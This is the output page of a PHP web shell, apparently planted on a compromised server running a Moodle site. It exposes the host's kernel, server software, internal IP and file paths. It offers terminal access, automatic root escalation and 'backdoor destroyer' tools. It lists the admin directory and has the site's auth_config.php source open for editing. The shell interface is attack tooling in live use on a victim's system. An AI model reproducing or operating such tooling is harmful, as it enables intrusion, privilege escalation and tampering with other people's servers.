Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
cli
[ DIR ]
drwxr-sr-x
2017-06-22 14:51
mnet
[ DIR ]
drwxr-sr-x
2017-06-22 14:51
registration
[ DIR ]
drwxr-sr-x
2017-06-22 14:51
roles
[ DIR ]
drwxr-sr-x
2017-06-22 14:51
settings
[ DIR ]
drwxr-sr-x
2017-06-22 14:52
templates
[ DIR ]
drwxr-sr-x
2017-06-22 14:52
tests
[ DIR ]
drwxr-sr-x
2017-06-22 14:51
tool
[ DIR ]
drwxr-sr-x
2017-06-22 14:55
user
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
webservice
[ DIR ]
drwxr-sr-x
2017-06-22 14:57
admin_settings_search_form.php
1.64
KB
-rw-r--r--
2017-06-22 14:51
antiviruses.php
3.38
KB
-rw-r--r--
2017-06-22 14:51
auth.php
2.92
KB
-rw-r--r--
2017-06-22 14:51
auth_config.php
7.39
KB
-rw-r--r--
2017-06-22 14:51
blocks.php
9.71
KB
-rw-r--r--
2017-06-22 14:51
category.php
5.9
KB
-rw-r--r--
2017-06-22 14:51
courseformats.php
2.93
KB
-rw-r--r--
2017-06-22 14:51
cron.php
2.71
KB
-rw-r--r--
2017-06-22 14:51
dataformats.php
2.71
KB
-rw-r--r--
2017-06-22 14:51
editors.php
2.65
KB
-rw-r--r--
2017-06-22 14:51
enrol.php
4.26
KB
-rw-r--r--
2017-06-22 14:51
environment.php
4.17
KB
-rw-r--r--
2017-06-22 14:51
environment.xml
62.38
KB
-rw-r--r--
2017-06-22 14:51
filters.php
8.76
KB
-rw-r--r--
2017-06-22 14:51
index.php
36.11
KB
-rw-r--r--
2017-06-22 14:51
lib.php
4.49
KB
-rw-r--r--
2017-06-22 14:51
licenses.php
1.53
KB
-rw-r--r--
2017-06-22 14:51
localplugins.php
2.66
KB
-rw-r--r--
2017-06-22 14:51
mailout-debugger.php
2.2
KB
-rw-r--r--
2017-06-22 14:51
media.php
2.45
KB
-rw-r--r--
2017-06-22 14:51
message.php
2.52
KB
-rw-r--r--
2017-06-22 14:51
modules.php
6.49
KB
-rw-r--r--
2017-06-22 14:51
oauth2callback.php
1.65
KB
-rw-r--r--
2017-06-22 14:51
phpinfo.php
968
B
-rw-r--r--
2017-06-22 14:51
plagiarism.php
3.17
KB
-rw-r--r--
2017-06-22 14:51
plugins.php
8.89
KB
-rw-r--r--
2017-06-22 14:51
portfolio.php
8.57
KB
-rw-r--r--
2017-06-22 14:51
process_email.php
1.72
KB
-rw-r--r--
2017-06-22 14:51
purgecaches.php
2.24
KB
-rw-r--r--
2017-06-22 14:51
qbehaviours.php
8.47
KB
-rw-r--r--
2017-06-22 14:51
qtypes.php
9.17
KB
-rw-r--r--
2017-06-22 14:51
renderer.php
83.56
KB
-rw-r--r--
2017-06-22 14:51
reports.php
4.11
KB
-rw-r--r--
2017-06-22 14:51
repository.php
16.85
KB
-rw-r--r--
2017-06-22 14:51
repositoryinstance.php
5.79
KB
-rw-r--r--
2017-06-22 14:51
resetemoticons.php
1.63
KB
-rw-r--r--
2017-06-22 14:51
search.php
2.09
KB
-rw-r--r--
2017-06-22 14:51
searchareas.php
6.83
KB
-rw-r--r--
2017-06-22 14:51
settings.php
4.85
KB
-rw-r--r--
2017-06-22 14:52
thirdpartylibs.php
2.56
KB
-rw-r--r--
2017-06-22 14:52
timezone.php
1.62
KB
-rw-r--r--
2017-06-22 14:52
tools.php
3.55
KB
-rw-r--r--
2017-06-22 14:56
upgrade.txt
425
B
-rw-r--r--
2017-06-22 14:56
upgradesettings.php
2.48
KB
-rw-r--r--
2017-06-22 14:56
user.php
17.63
KB
-rw-r--r--
2017-06-22 14:57
Save
Rename
<?php /** * Edit configuration for an individual auth plugin */ require_once '../config.php'; require_once $CFG->libdir.'/adminlib.php'; $auth = required_param('auth', PARAM_PLUGIN); $PAGE->set_pagetype('admin-auth-' . $auth); admin_externalpage_setup('authsetting'.$auth); $authplugin = get_auth_plugin($auth); $err = array(); $returnurl = "$CFG->wwwroot/$CFG->admin/settings.php?section=manageauths"; // save configuration changes if ($frm = data_submitted() and confirm_sesskey()) { $authplugin->validate_form($frm, $err); if (count($err) == 0) { // save plugin config if ($authplugin->process_config($frm)) { // save field lock configuration foreach ($frm as $name => $value) { if (preg_match('/^lockconfig_(.+?)$/', $name, $matches)) { $plugin = "auth/$auth"; $name = $matches[1]; set_config($name, $value, $plugin); } } redirect($returnurl); exit; } } else { foreach ($err as $key => $value) { $focus = "form.$key"; } } } else { $frmlegacystyle = get_config('auth/'.$auth); $frmnewstyle = get_config('auth_'.$auth); $frm = (object)array_merge((array)$frmlegacystyle, (array)$frmnewstyle); } $user_fields = $authplugin->userfields; //$user_fields = array("firstname", "lastname", "email", "phone1", "phone2", "institution", "department", "address", "city", "country", "description", "idnumber", "lang"); /// Get the auth title (from core or own auth lang files) $authtitle = $authplugin->get_title(); /// Get the auth descriptions (from core or own auth lang files) $authdescription = $authplugin->get_description(); // output configuration form echo $OUTPUT->header(); // choose an authentication method echo "<form id=\"authmenu\" method=\"post\" action=\"auth_config.php\">\n"; echo "<div>\n"; echo "<input type=\"hidden\" name=\"sesskey\" value=\"".sesskey()."\" />\n"; echo "<input type=\"hidden\" name=\"auth\" value=\"".$auth."\" />\n"; // auth plugin description echo $OUTPUT->box_start(); echo $OUTPUT->heading($authtitle); echo $OUTPUT->box_start('informationbox'); echo $authdescription; echo $OUTPUT->box_end(); echo "<hr />\n"; $authplugin->config_form($frm, $err, $user_fields); echo $OUTPUT->box_end(); echo '<p style="text-align: center"><input type="submit" value="' . get_string("savechanges") . "\" /></p>\n"; echo "</div>\n"; echo "</form>\n"; $PAGE->requires->string_for_js('unmaskpassword', 'core_form'); $PAGE->requires->yui_module('moodle-auth-passwordunmask', 'M.auth.passwordunmask'); echo $OUTPUT->footer(); exit; /// Functions ///////////////////////////////////////////////////////////////// // Good enough for most auth plugins // but some may want a custom one if they are offering // other options // Note: lockconfig_ fields have special handling. function print_auth_lock_options($auth, $user_fields, $helptext, $retrieveopts, $updateopts, $customfields = array()) { global $DB, $OUTPUT; echo '<tr><td colspan="3">'; if ($retrieveopts) { echo $OUTPUT->heading(get_string('auth_data_mapping', 'auth')); } else { echo $OUTPUT->heading(get_string('auth_fieldlocks', 'auth')); } echo '</td></tr>'; $lockoptions = array ('unlocked' => get_string('unlocked', 'auth'), 'unlockedifempty' => get_string('unlockedifempty', 'auth'), 'locked' => get_string('locked', 'auth')); $updatelocaloptions = array('oncreate' => get_string('update_oncreate', 'auth'), 'onlogin' => get_string('update_onlogin', 'auth')); $updateextoptions = array('0' => get_string('update_never', 'auth'), '1' => get_string('update_onupdate', 'auth')); $pluginconfig = get_config("auth/$auth"); // Helptext is on a field with rowspan. if (empty($helptext)) { $helptext = ' '; } // If we have custom fields then merge them with user fields. if (!empty($customfields)) { $user_fields = array_merge($user_fields, $customfields); } if (!empty($customfields)) { $customfieldname = $DB->get_records('user_info_field', null, '', 'shortname, name'); } foreach ($user_fields as $field) { // Define some vars we'll work with. if (!isset($pluginconfig->{"field_map_$field"})) { $pluginconfig->{"field_map_$field"} = ''; } if (!isset($pluginconfig->{"field_updatelocal_$field"})) { $pluginconfig->{"field_updatelocal_$field"} = ''; } if (!isset($pluginconfig->{"field_updateremote_$field"})) { $pluginconfig->{"field_updateremote_$field"} = ''; } if (!isset($pluginconfig->{"field_lock_$field"})) { $pluginconfig->{"field_lock_$field"} = ''; } // Define the fieldname we display to the user. $fieldname = $field; if ($fieldname === 'lang') { $fieldname = get_string('language'); } elseif (!empty($customfields) && in_array($field, $customfields)) { // If custom field then pick name from database. $fieldshortname = str_replace('profile_field_', '', $fieldname); $fieldname = $customfieldname[$fieldshortname]->name; } elseif ($fieldname == 'url') { $fieldname = get_string('webpage'); } else { $fieldname = get_string($fieldname); } if ($retrieveopts) { $varname = 'field_map_' . $field; echo '<tr valign="top"><td align="right">'; echo '<label for="lockconfig_'.$varname.'">'.$fieldname.'</label>'; echo '</td><td>'; echo "<input id=\"lockconfig_{$varname}\" name=\"lockconfig_{$varname}\" type=\"text\" size=\"30\" value=\"{$pluginconfig->$varname}\" />"; echo '<div style="text-align: right">'; echo '<label for="menulockconfig_field_updatelocal_'.$field.'">'.get_string('auth_updatelocal', 'auth') . '</label> '; echo html_writer::select($updatelocaloptions, "lockconfig_field_updatelocal_{$field}", $pluginconfig->{"field_updatelocal_$field"}, false); echo '<br />'; if ($updateopts) { echo '<label for="menulockconfig_field_updateremote_'.$field.'">'.get_string('auth_updateremote', 'auth') . '</label> '; echo html_writer::select($updateextoptions, "lockconfig_field_updateremote_{$field}", $pluginconfig->{"field_updateremote_$field"}, false); echo '<br />'; } echo '<label for="menulockconfig_field_lock_'.$field.'">'.get_string('auth_fieldlock', 'auth') . '</label> '; echo html_writer::select($lockoptions, "lockconfig_field_lock_{$field}", $pluginconfig->{"field_lock_$field"}, false); echo '</div>'; } else { echo '<tr valign="top"><td align="right">'; echo '<label for="menulockconfig_field_lock_'.$field.'">'.$fieldname.'</label>'; echo '</td><td>'; echo html_writer::select($lockoptions, "lockconfig_field_lock_{$field}", $pluginconfig->{"field_lock_$field"}, false); } echo '</td>'; if (!empty($helptext)) { echo '<td rowspan="' . count($user_fields) . '">' . $helptext . '</td>'; $helptext = ''; } echo '</tr>'; } }